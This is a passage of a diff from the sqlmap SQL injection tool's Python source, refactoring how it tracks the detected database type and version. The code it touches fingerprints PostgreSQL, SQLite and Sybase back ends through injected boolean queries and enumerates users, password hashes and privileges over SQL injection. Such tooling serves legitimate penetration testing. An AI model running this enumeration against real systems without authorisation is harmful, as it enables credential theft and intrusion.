warnMsg = "the back-end DBMS is not PostgreSQL"
|
warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
@ -178,7 +180,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public":
|
if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public":
|
||||||
conf.db = "public"
|
conf.db = "public"
|
||||||
|
|
||||||
warnMsg = "on PostgreSQL it is only possible to enumerate "
|
warnMsg = "on %s it is only possible to enumerate " % DBMS.PGSQL
|
||||||
warnMsg += "on the current schema and on system databases, "
|
warnMsg += "on the current schema and on system databases, "
|
||||||
warnMsg += "sqlmap is going to use 'public' schema as "
|
warnMsg += "sqlmap is going to use 'public' schema as "
|
||||||
warnMsg += "database name"
|
warnMsg += "database name"
|
||||||
|
|
|
@ -8,9 +8,8 @@ See the file 'doc/COPYING' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import formatDBMSfp
|
from lib.core.common import backend
|
||||||
from lib.core.common import formatFingerprint
|
from lib.core.common import format
|
||||||
from lib.core.common import getErrorParsedDBMSesFormatted
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
|
@ -29,13 +28,13 @@ class Fingerprint(GenericFingerprint):
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
value = ""
|
value = ""
|
||||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
wsOsFp = format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
if wsOsFp:
|
if wsOsFp:
|
||||||
value += "%s\n" % wsOsFp
|
value += "%s\n" % wsOsFp
|
||||||
|
|
||||||
if kb.data.banner:
|
if kb.data.banner:
|
||||||
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
dbmsOsFp = format.getOs("back-end DBMS", kb.bannerFp)
|
||||||
|
|
||||||
if dbmsOsFp:
|
if dbmsOsFp:
|
||||||
value += "%s\n" % dbmsOsFp
|
value += "%s\n" % dbmsOsFp
|
||||||
|
@ -55,7 +54,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
banVer = formatDBMSfp([banVer])
|
banVer = formatDBMSfp([banVer])
|
||||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||||
|
|
||||||
htmlErrorFp = getErrorParsedDBMSesFormatted()
|
htmlErrorFp = format.getErrorParsedDBMSes()
|
||||||
|
|
||||||
if htmlErrorFp:
|
if htmlErrorFp:
|
||||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||||
|
@ -70,32 +69,36 @@ class Fingerprint(GenericFingerprint):
|
||||||
* http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions
|
* http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if not conf.extensiveFp and (kb.dbms is not None and kb.dbms.lower() in SQLITE_ALIASES) or conf.dbms in SQLITE_ALIASES:
|
if not conf.extensiveFp and (backend.isDbmsWithin(SQLITE_ALIASES) or conf.dbms in SQLITE_ALIASES):
|
||||||
setDbms(DBMS.SQLITE)
|
setDbms(DBMS.SQLITE)
|
||||||
|
|
||||||
self.getBanner()
|
self.getBanner()
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|
||||||
logMsg = "testing SQLite"
|
logMsg = "testing %s" % DBMS.SQLITE
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
result = inject.checkBooleanExpression("LAST_INSERT_ROWID()=LAST_INSERT_ROWID()")
|
result = inject.checkBooleanExpression("LAST_INSERT_ROWID()=LAST_INSERT_ROWID()")
|
||||||
|
|
||||||
if result:
|
if result:
|
||||||
logMsg = "confirming SQLite"
|
logMsg = "confirming %s" % DBMS.SQLITE
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
result = inject.checkBooleanExpression("SQLITE_VERSION()=SQLITE_VERSION()")
|
result = inject.checkBooleanExpression("SQLITE_VERSION()=SQLITE_VERSION()")
|
||||||
|
|
||||||
if not result:
|
if not result:
|
||||||
warnMsg = "the back-end DBMS is not SQLite"
|
warnMsg = "the back-end DBMS is not %s" % DBMS.SQLITE
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return False
|
return False
|
||||||
else:
|
else:
|
||||||
|
infoMsg = "actively fingerprinting %s" % DBMS.SQLITE
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
result = inject.checkBooleanExpression("RANDOMBLOB(-1)>0")
|
result = inject.checkBooleanExpression("RANDOMBLOB(-1)>0")
|
||||||
kb.dbmsVersion = [ '3' if result else '2' ]
|
version = '3' if result else '2'
|
||||||
|
backend.setVersion(version)
|
||||||
|
|
||||||
setDbms(DBMS.SQLITE)
|
setDbms(DBMS.SQLITE)
|
||||||
|
|
||||||
|
@ -103,7 +106,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
|
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
warnMsg = "the back-end DBMS is not SQLite"
|
warnMsg = "the back-end DBMS is not %s" % DBMS.SQLITE
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
|
@ -8,9 +8,8 @@ See the file 'doc/COPYING' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import formatDBMSfp
|
from lib.core.common import backend
|
||||||
from lib.core.common import formatFingerprint
|
from lib.core.common import format
|
||||||
from lib.core.common import getErrorParsedDBMSesFormatted
|
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
|
@ -29,13 +28,13 @@ class Fingerprint(GenericFingerprint):
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
value = ""
|
value = ""
|
||||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
wsOsFp = format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
if wsOsFp:
|
if wsOsFp:
|
||||||
value += "%s\n" % wsOsFp
|
value += "%s\n" % wsOsFp
|
||||||
|
|
||||||
if kb.data.banner:
|
if kb.data.banner:
|
||||||
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
dbmsOsFp = format.getOs("back-end DBMS", kb.bannerFp)
|
||||||
|
|
||||||
if dbmsOsFp:
|
if dbmsOsFp:
|
||||||
value += "%s\n" % dbmsOsFp
|
value += "%s\n" % dbmsOsFp
|
||||||
|
@ -55,7 +54,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
banVer = formatDBMSfp([banVer])
|
banVer = formatDBMSfp([banVer])
|
||||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||||
|
|
||||||
htmlErrorFp = getErrorParsedDBMSesFormatted()
|
htmlErrorFp = format.getErrorParsedDBMSes()
|
||||||
|
|
||||||
if htmlErrorFp:
|
if htmlErrorFp:
|
||||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||||
|
@ -63,10 +62,10 @@ class Fingerprint(GenericFingerprint):
|
||||||
return value
|
return value
|
||||||
|
|
||||||
def checkDbms(self):
|
def checkDbms(self):
|
||||||
if not conf.extensiveFp and ((kb.dbms is not None and kb.dbms.lower() in SYBASE_ALIASES) \
|
if not conf.extensiveFp and (backend.isDbmsWithin(SYBASE_ALIASES) \
|
||||||
or conf.dbms in SYBASE_ALIASES) and kb.dbmsVersion and \
|
or conf.dbms in SYBASE_ALIASES) and backend.getVersion() and \
|
||||||
kb.dbmsVersion[0].isdigit():
|
backend.getVersion().isdigit():
|
||||||
setDbms("%s %s" % (DBMS.SYBASE, kb.dbmsVersion[0]))
|
setDbms("%s %s" % (DBMS.SYBASE, backend.getVersion()))
|
||||||
|
|
||||||
self.getBanner()
|
self.getBanner()
|
||||||
|
|
||||||
|
@ -74,7 +73,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|
||||||
infoMsg = "testing Sybase"
|
infoMsg = "testing %s" % DBMS.SYBASE
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if conf.direct:
|
if conf.direct:
|
||||||
|
@ -83,13 +82,13 @@ class Fingerprint(GenericFingerprint):
|
||||||
result = inject.checkBooleanExpression("tempdb_id()=tempdb_id()")
|
result = inject.checkBooleanExpression("tempdb_id()=tempdb_id()")
|
||||||
|
|
||||||
if result:
|
if result:
|
||||||
logMsg = "confirming Sybase"
|
logMsg = "confirming %s" % DBMS.SYBASE
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
result = inject.checkBooleanExpression("suser_id()=suser_id()")
|
result = inject.checkBooleanExpression("suser_id()=suser_id()")
|
||||||
|
|
||||||
if not result:
|
if not result:
|
||||||
warnMsg = "the back-end DBMS is not Sybase"
|
warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
@ -101,15 +100,19 @@ class Fingerprint(GenericFingerprint):
|
||||||
if not conf.extensiveFp:
|
if not conf.extensiveFp:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
infoMsg = "actively fingerprinting %s" % DBMS.SYBASE
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
for version in range(12, 16):
|
for version in range(12, 16):
|
||||||
result = inject.checkBooleanExpression("@@VERSION_NUMBER/1000=%d" % version)
|
result = inject.checkBooleanExpression("@@VERSION_NUMBER/1000=%d" % version)
|
||||||
|
|
||||||
if result:
|
if result:
|
||||||
kb.dbmsVersion = ["%d" % version]
|
backend.setVersion(str(version))
|
||||||
break
|
break
|
||||||
|
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
warnMsg = "the back-end DBMS is not Sybase"
|
warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
|
@ -12,12 +12,13 @@ import time
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import arrayizeValue
|
from lib.core.common import arrayizeValue
|
||||||
|
from lib.core.common import backend
|
||||||
from lib.core.common import dataToStdout
|
from lib.core.common import dataToStdout
|
||||||
from lib.core.common import getRange
|
from lib.core.common import getRange
|
||||||
from lib.core.common import getCompiledRegex
|
from lib.core.common import getCompiledRegex
|
||||||
from lib.core.common import getConsoleWidth
|
from lib.core.common import getConsoleWidth
|
||||||
from lib.core.common import getFileItems
|
from lib.core.common import getFileItems
|
||||||
from lib.core.common import getIdentifiedDBMS
|
from lib.core.common import backend
|
||||||
from lib.core.common import getUnicode
|
from lib.core.common import getUnicode
|
||||||
from lib.core.common import isNumPosStrValue
|
from lib.core.common import isNumPosStrValue
|
||||||
from lib.core.common import isTechniqueAvailable
|
from lib.core.common import isTechniqueAvailable
|
||||||
|
@ -84,7 +85,7 @@ class Enumeration:
|
||||||
infoMsg = "fetching banner"
|
infoMsg = "fetching banner"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
query = queries[getIdentifiedDBMS()].banner.query
|
query = queries[backend.getIdentifiedDbms()].banner.query
|
||||||
kb.data.banner = inject.getValue(query)
|
kb.data.banner = inject.getValue(query)
|
||||||
bannerParser(kb.data.banner)
|
bannerParser(kb.data.banner)
|
||||||
|
|
||||||
|
@ -106,7 +107,7 @@ class Enumeration:
|
||||||
infoMsg = "fetching current user"
|
infoMsg = "fetching current user"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
query = queries[getIdentifiedDBMS()].current_user.query
|
query = queries[backend.getIdentifiedDbms()].current_user.query
|
||||||
|
|
||||||
if not kb.data.currentUser:
|
if not kb.data.currentUser:
|
||||||
kb.data.currentUser = inject.getValue(query)
|
kb.data.currentUser = inject.getValue(query)
|
||||||
|
@ -117,7 +118,7 @@ class Enumeration:
|
||||||
infoMsg = "fetching current database"
|
infoMsg = "fetching current database"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
query = queries[getIdentifiedDBMS()].current_db.query
|
query = queries[backend.getIdentifiedDbms()].current_db.query
|
||||||
|
|
||||||
if not kb.data.currentDb:
|
if not kb.data.currentDb:
|
||||||
kb.data.currentDb = inject.getValue(query)
|
kb.data.currentDb = inject.getValue(query)
|
||||||
|
@ -128,11 +129,11 @@ class Enumeration:
|
||||||
infoMsg = "testing if current user is DBA"
|
infoMsg = "testing if current user is DBA"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||||
self.getCurrentUser()
|
self.getCurrentUser()
|
||||||
query = queries[getIdentifiedDBMS()].is_dba.query % kb.data.currentUser.split("@")[0]
|
query = queries[backend.getIdentifiedDbms()].is_dba.query % kb.data.currentUser.split("@")[0]
|
||||||
else:
|
else:
|
||||||
query = queries[getIdentifiedDBMS()].is_dba.query
|
query = queries[backend.getIdentifiedDbms()].is_dba.query
|
||||||
|
|
||||||
query = agent.forgeCaseStatement(query)
|
query = agent.forgeCaseStatement(query)
|
||||||
|
|
||||||
|
@ -144,10 +145,10 @@ class Enumeration:
|
||||||
infoMsg = "fetching database users"
|
infoMsg = "fetching database users"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
rootQuery = queries[getIdentifiedDBMS()].users
|
rootQuery = queries[backend.getIdentifiedDbms()].users
|
||||||
|
|
||||||
condition = ( getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ) )
|
condition = ( backend.getIdentifiedDbms() == DBMS.MSSQL and backend.isVersionWithin(("2005", "2008")) )
|
||||||
condition |= ( getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema )
|
condition |= ( backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema )
|
||||||
|
|
||||||
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
||||||
if condition:
|
if condition:
|
||||||
|
@ -173,14 +174,14 @@ class Enumeration:
|
||||||
errMsg = "unable to retrieve the number of database users"
|
errMsg = "unable to retrieve the number of database users"
|
||||||
raise sqlmapNoneDataException, errMsg
|
raise sqlmapNoneDataException, errMsg
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.ORACLE:
|
if backend.getIdentifiedDbms() == DBMS.ORACLE:
|
||||||
plusOne = True
|
plusOne = True
|
||||||
else:
|
else:
|
||||||
plusOne = False
|
plusOne = False
|
||||||
indexRange = getRange(count, plusOne=plusOne)
|
indexRange = getRange(count, plusOne=plusOne)
|
||||||
|
|
||||||
for index in indexRange:
|
for index in indexRange:
|
||||||
if getIdentifiedDBMS() in (DBMS.SYBASE, DBMS.MAXDB):
|
if backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB):
|
||||||
query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ")
|
query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ")
|
||||||
elif condition:
|
elif condition:
|
||||||
query = rootQuery.blind.query2 % index
|
query = rootQuery.blind.query2 % index
|
||||||
|
@ -200,7 +201,7 @@ class Enumeration:
|
||||||
def getPasswordHashes(self):
|
def getPasswordHashes(self):
|
||||||
infoMsg = "fetching database users password hashes"
|
infoMsg = "fetching database users password hashes"
|
||||||
|
|
||||||
rootQuery = queries[getIdentifiedDBMS()].passwords
|
rootQuery = queries[backend.getIdentifiedDbms()].passwords
|
||||||
|
|
||||||
if conf.user == "CU":
|
if conf.user == "CU":
|
||||||
infoMsg += " for current user"
|
infoMsg += " for current user"
|
||||||
|
@ -209,7 +210,7 @@ class Enumeration:
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
||||||
if getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
if backend.getIdentifiedDbms() == DBMS.MSSQL and backend.isVersionWithin(("2005", "2008")):
|
||||||
query = rootQuery.inband.query2
|
query = rootQuery.inband.query2
|
||||||
else:
|
else:
|
||||||
query = rootQuery.inband.query
|
query = rootQuery.inband.query
|
||||||
|
@ -222,7 +223,7 @@ class Enumeration:
|
||||||
query += " WHERE "
|
query += " WHERE "
|
||||||
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
|
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
|
||||||
else:
|
else:
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||||
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
|
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
|
||||||
|
|
||||||
if parsedUser:
|
if parsedUser:
|
||||||
|
@ -259,7 +260,7 @@ class Enumeration:
|
||||||
retrievedUsers = set()
|
retrievedUsers = set()
|
||||||
|
|
||||||
for user in users:
|
for user in users:
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||||
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
|
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
|
||||||
|
|
||||||
if parsedUser:
|
if parsedUser:
|
||||||
|
@ -272,7 +273,7 @@ class Enumeration:
|
||||||
infoMsg += "for user '%s'" % user
|
infoMsg += "for user '%s'" % user
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
if backend.getIdentifiedDbms() == DBMS.MSSQL and backend.isVersionWithin(("2005", "2008")):
|
||||||
query = rootQuery.blind.count2 % user
|
query = rootQuery.blind.count2 % user
|
||||||
else:
|
else:
|
||||||
query = rootQuery.blind.count % user
|
query = rootQuery.blind.count % user
|
||||||
|
@ -289,14 +290,14 @@ class Enumeration:
|
||||||
|
|
||||||
passwords = []
|
passwords = []
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.ORACLE:
|
if backend.getIdentifiedDbms() == DBMS.ORACLE:
|
||||||
plusOne = True
|
plusOne = True
|
||||||
else:
|
else:
|
||||||
plusOne = False
|
plusOne = False
|
||||||
indexRange = getRange(count, plusOne=plusOne)
|
indexRange = getRange(count, plusOne=plusOne)
|
||||||
|
|
||||||
for index in indexRange:
|
for index in indexRange:
|
||||||
if getIdentifiedDBMS() == DBMS.SYBASE:
|
if backend.getIdentifiedDbms() == DBMS.SYBASE:
|
||||||
if index > 0:
|
if index > 0:
|
||||||
warnMsg = "unable to retrieve other password "
|
warnMsg = "unable to retrieve other password "
|
||||||
warnMsg += "hashes for user '%s'" % user
|
warnMsg += "hashes for user '%s'" % user
|
||||||
|
@ -305,15 +306,15 @@ class Enumeration:
|
||||||
else:
|
else:
|
||||||
query = rootQuery.blind.query % user
|
query = rootQuery.blind.query % user
|
||||||
getCurrentThreadData().disableStdOut = True
|
getCurrentThreadData().disableStdOut = True
|
||||||
elif getIdentifiedDBMS() == DBMS.MSSQL:
|
elif backend.getIdentifiedDbms() == DBMS.MSSQL:
|
||||||
if kb.dbmsVersion[0] in ( "2005", "2008" ):
|
if backend.isVersionWithin(("2005", "2008")):
|
||||||
query = rootQuery.blind.query2 % (user, index, user)
|
query = rootQuery.blind.query2 % (user, index, user)
|
||||||
else:
|
else:
|
||||||
query = rootQuery.blind.query % (user, index, user)
|
query = rootQuery.blind.query % (user, index, user)
|
||||||
else:
|
else:
|
||||||
query = rootQuery.blind.query % (user, index)
|
query = rootQuery.blind.query % (user, index)
|
||||||
password = inject.getValue(query, inband=False, error=False)
|
password = inject.getValue(query, inband=False, error=False)
|
||||||
if getIdentifiedDBMS() == DBMS.SYBASE:
|
if backend.getIdentifiedDbms() == DBMS.SYBASE:
|
||||||
getCurrentThreadData().disableStdOut = False
|
getCurrentThreadData().disableStdOut = False
|
||||||
password = "0x%s" % strToHex(password)
|
password = "0x%s" % strToHex(password)
|
||||||
infoMsg = "retrieved: %s" % password
|
infoMsg = "retrieved: %s" % password
|
||||||
|
@ -350,31 +351,31 @@ class Enumeration:
|
||||||
def __isAdminFromPrivileges(self, privileges):
|
def __isAdminFromPrivileges(self, privileges):
|
||||||
# In PostgreSQL the usesuper privilege means that the
|
# In PostgreSQL the usesuper privilege means that the
|
||||||
# user is DBA
|
# user is DBA
|
||||||
dbaCondition = ( getIdentifiedDBMS() == DBMS.PGSQL and "super" in privileges )
|
dbaCondition = ( backend.getIdentifiedDbms() == DBMS.PGSQL and "super" in privileges )
|
||||||
|
|
||||||
# In Oracle the DBA privilege means that the
|
# In Oracle the DBA privilege means that the
|
||||||
# user is DBA
|
# user is DBA
|
||||||
dbaCondition |= ( getIdentifiedDBMS() == DBMS.ORACLE and "DBA" in privileges )
|
dbaCondition |= ( backend.getIdentifiedDbms() == DBMS.ORACLE and "DBA" in privileges )
|
||||||
|
|
||||||
# In MySQL >= 5.0 the SUPER privilege means
|
# In MySQL >= 5.0 the SUPER privilege means
|
||||||
# that the user is DBA
|
# that the user is DBA
|
||||||
dbaCondition |= ( getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema and "SUPER" in privileges )
|
dbaCondition |= ( backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema and "SUPER" in privileges )
|
||||||
|
|
||||||
# In MySQL < 5.0 the super_priv privilege means
|
# In MySQL < 5.0 the super_priv privilege means
|
||||||
# that the user is DBA
|
# that the user is DBA
|
||||||
dbaCondition |= ( getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema and "super_priv" in privileges )
|
dbaCondition |= ( backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema and "super_priv" in privileges )
|
||||||
|
|
||||||
# In Firebird there is no specific privilege that means
|
# In Firebird there is no specific privilege that means
|
||||||
# that the user is DBA
|
# that the user is DBA
|
||||||
# TODO: confirm
|
# TODO: confirm
|
||||||
dbaCondition |= ( getIdentifiedDBMS() == DBMS.FIREBIRD and "SELECT" in privileges and "INSERT" in privileges and "UPDATE" in privileges and "DELETE" in privileges and "REFERENCES" in privileges and "EXECUTE" in privileges )
|
dbaCondition |= ( backend.getIdentifiedDbms() == DBMS.FIREBIRD and "SELECT" in privileges and "INSERT" in privileges and "UPDATE" in privileges and "DELETE" in privileges and "REFERENCES" in privileges and "EXECUTE" in privileges )
|
||||||
|
|
||||||
return dbaCondition
|
return dbaCondition
|
||||||
|
|
||||||
def getPrivileges(self, query2=False):
|
def getPrivileges(self, query2=False):
|
||||||
infoMsg = "fetching database users privileges"
|
infoMsg = "fetching database users privileges"
|
||||||
|
|
||||||
rootQuery = queries[getIdentifiedDBMS()].privileges
|
rootQuery = queries[backend.getIdentifiedDbms()].privileges
|
||||||
|
|
||||||
if conf.user == "CU":
|
if conf.user == "CU":
|
||||||
infoMsg += " for current user"
|
infoMsg += " for current user"
|
||||||
|
@ -430,10 +431,10 @@ class Enumeration:
|
||||||
}
|
}
|
||||||
|
|
||||||
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
||||||
query = rootQuery.inband.query2
|
query = rootQuery.inband.query2
|
||||||
condition = rootQuery.inband.condition2
|
condition = rootQuery.inband.condition2
|
||||||
elif getIdentifiedDBMS() == DBMS.ORACLE and query2:
|
elif backend.getIdentifiedDbms() == DBMS.ORACLE and query2:
|
||||||
query = rootQuery.inband.query2
|
query = rootQuery.inband.query2
|
||||||
condition = rootQuery.inband.condition2
|
condition = rootQuery.inband.condition2
|
||||||
else:
|
else:
|
||||||
|
@ -445,7 +446,7 @@ class Enumeration:
|
||||||
query += " WHERE "
|
query += " WHERE "
|
||||||
# NOTE: I assume that the user provided is not in
|
# NOTE: I assume that the user provided is not in
|
||||||
# MySQL >= 5.0 syntax 'user'@'host'
|
# MySQL >= 5.0 syntax 'user'@'host'
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema:
|
||||||
queryUser = "%" + conf.user + "%"
|
queryUser = "%" + conf.user + "%"
|
||||||
query += " OR ".join("%s LIKE '%s'" % (condition, "%" + user + "%") for user in users)
|
query += " OR ".join("%s LIKE '%s'" % (condition, "%" + user + "%") for user in users)
|
||||||
else:
|
else:
|
||||||
|
@ -453,7 +454,7 @@ class Enumeration:
|
||||||
|
|
||||||
values = inject.getValue(query, blind=False)
|
values = inject.getValue(query, blind=False)
|
||||||
|
|
||||||
if not values and getIdentifiedDBMS() == DBMS.ORACLE and not query2:
|
if not values and backend.getIdentifiedDbms() == DBMS.ORACLE and not query2:
|
||||||
infoMsg = "trying with table USER_SYS_PRIVS"
|
infoMsg = "trying with table USER_SYS_PRIVS"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
@ -475,19 +476,19 @@ class Enumeration:
|
||||||
|
|
||||||
# In PostgreSQL we get 1 if the privilege is
|
# In PostgreSQL we get 1 if the privilege is
|
||||||
# True, 0 otherwise
|
# True, 0 otherwise
|
||||||
if getIdentifiedDBMS() == DBMS.PGSQL and getUnicode(privilege).isdigit():
|
if backend.getIdentifiedDbms() == DBMS.PGSQL and getUnicode(privilege).isdigit():
|
||||||
for position, pgsqlPriv in pgsqlPrivs:
|
for position, pgsqlPriv in pgsqlPrivs:
|
||||||
if count == position and int(privilege) == 1:
|
if count == position and int(privilege) == 1:
|
||||||
privileges.add(pgsqlPriv)
|
privileges.add(pgsqlPriv)
|
||||||
|
|
||||||
# In MySQL >= 5.0 and Oracle we get the list
|
# In MySQL >= 5.0 and Oracle we get the list
|
||||||
# of privileges as string
|
# of privileges as string
|
||||||
elif getIdentifiedDBMS() == DBMS.ORACLE or ( getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema ):
|
elif backend.getIdentifiedDbms() == DBMS.ORACLE or ( backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema ):
|
||||||
privileges.add(privilege)
|
privileges.add(privilege)
|
||||||
|
|
||||||
# In MySQL < 5.0 we get Y if the privilege is
|
# In MySQL < 5.0 we get Y if the privilege is
|
||||||
# True, N otherwise
|
# True, N otherwise
|
||||||
elif getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
elif backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
||||||
for position, mysqlPriv in mysqlPrivs:
|
for position, mysqlPriv in mysqlPrivs:
|
||||||
if count == position and privilege.upper() == "Y":
|
if count == position and privilege.upper() == "Y":
|
||||||
privileges.add(mysqlPriv)
|
privileges.add(mysqlPriv)
|
||||||
|
@ -504,7 +505,7 @@ class Enumeration:
|
||||||
conditionChar = "="
|
conditionChar = "="
|
||||||
|
|
||||||
if conf.user:
|
if conf.user:
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema:
|
||||||
conditionChar = " LIKE "
|
conditionChar = " LIKE "
|
||||||
|
|
||||||
if "," in conf.user:
|
if "," in conf.user:
|
||||||
|
@ -531,7 +532,7 @@ class Enumeration:
|
||||||
for user in users:
|
for user in users:
|
||||||
unescapedUser = None
|
unescapedUser = None
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema:
|
||||||
unescapedUser = unescaper.unescape(user, quote=False)
|
